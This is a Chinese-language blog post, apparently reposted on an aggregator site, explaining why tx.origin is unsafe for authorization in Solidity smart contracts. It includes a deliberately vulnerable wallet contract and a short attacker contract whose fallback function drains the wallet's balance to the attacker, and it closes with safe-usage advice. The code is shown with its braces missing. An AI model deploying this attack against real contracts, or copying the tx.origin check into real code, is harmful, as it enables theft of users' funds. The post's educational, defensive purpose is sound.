solidity智能合约中tx.origin的正确使用场景

Posted secbro

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了solidity智能合约中tx.origin的正确使用场景相关的知识,希望对你有一定的参考价值。

简介

tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。

但针对tx.origin的使用并不用谈虎色变,正确的使用还是有它的应用场景的。

漏洞详解

漏洞合约

在如下合约中使用到了tx.origin的判断。

pragma solidity ^0.4.11;

// 不要使用这个合约,其中包含一个 bug。
contract TxUserWallet 
    address owner;

    function TxUserWallet() public 
        owner = msg.sender;
    

    function transferTo(address dest, uint amount) public 
        require(tx.origin == owner);
        dest.transfer(amount);
    

上面的合约提供了构造函数(新版本中使用constructor)和转账方法。其中在转账方法transferTo中进行了owner的判断,这里用到了tx.origin。

攻击者合约

下面看一下攻击者的合约:

pragma solidity ^0.4.11;

interface TxUserWallet 
    function transferTo(address dest, uint amount) public;


contract TxAttackWallet 
    address owner;

    function TxAttackWallet() public 
        owner = msg.sender;
    

    function () public 
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    

攻击者创建一个上面的合约,然后通过各种骗术来欺骗你用正常合约(TxUserWallet)的拥有者的地址向该攻击合约(TxAttackWallet)转账。然后区块链会默认调用攻击合约的fallback方法,也就是最后没有方法名的方法,并执行转账操作。

而此时TxUserWallet合约里面的校验是可以正常通过的。因为tx.origin是最初发起交易的地址,也就是合约拥有者的地址。然后,地址里面的ether便被转到攻击者地址中。

使用提醒

tx.origin不应该用于智能合约的授权。更多的时候采用msg.sender == owner来进行判断。

但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用require(tx.origin ==msg.sender)来进行实现。

原文链接:https://www.choupangxia.com/2019/07/18/solidity%e6%99%ba%e8%83%bd%e5%90%88%e7%ba%a6%e4%b8%adtx-origin%e7%9a%84%e6%ad%a3%e7%a1%ae%e4%bd%bf%e7%94%a8%e5%9c%ba%e6%99%af/

以上是关于solidity智能合约中tx.origin的正确使用场景的主要内容,如果未能解决你的问题,请参考以下文章

Solidity实现简单的智能合约

Solidity编程 四 之 智能合约的结构

区块链Solidity智能合约与Solidity介绍

智能合约从入门到精通:用Solidity开发一个“Hello World”

智能合约从入门到精通:用Solidity开发一个“Hello World”

如何调用 Solidity 函数从智能合约中返回以太币?